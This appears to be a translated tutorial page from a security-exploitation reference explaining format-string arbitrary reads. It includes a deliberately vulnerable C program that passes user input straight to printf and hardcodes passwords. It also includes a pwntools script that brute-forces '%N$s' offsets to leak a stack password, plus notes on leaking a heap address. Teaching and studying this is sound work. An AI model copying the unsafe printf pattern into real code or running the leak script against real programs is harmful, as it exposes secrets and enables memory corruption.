Format Strings - Arbitrary Read Example
代码
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
使用以下命令编译:
clang -o fs-read fs-read.c -Wno-format-security
从栈中读取
stack_password
将被存储在栈中,因为它是一个局部变量,所以只需滥用 printf 来显示栈的内容就足够了。这是一个利用 BF 前 100 个位置来从栈中泄露密码的漏洞利用:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
在图像中,我们可以看到我们可以从堆栈中的第10
个位置泄漏密码:


使用%p
而不是%s
运行相同的利用程序,可以在%5$p
处从堆栈中泄漏堆地址:



泄漏地址和密码地址之间的差异为:
> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a
最后更新于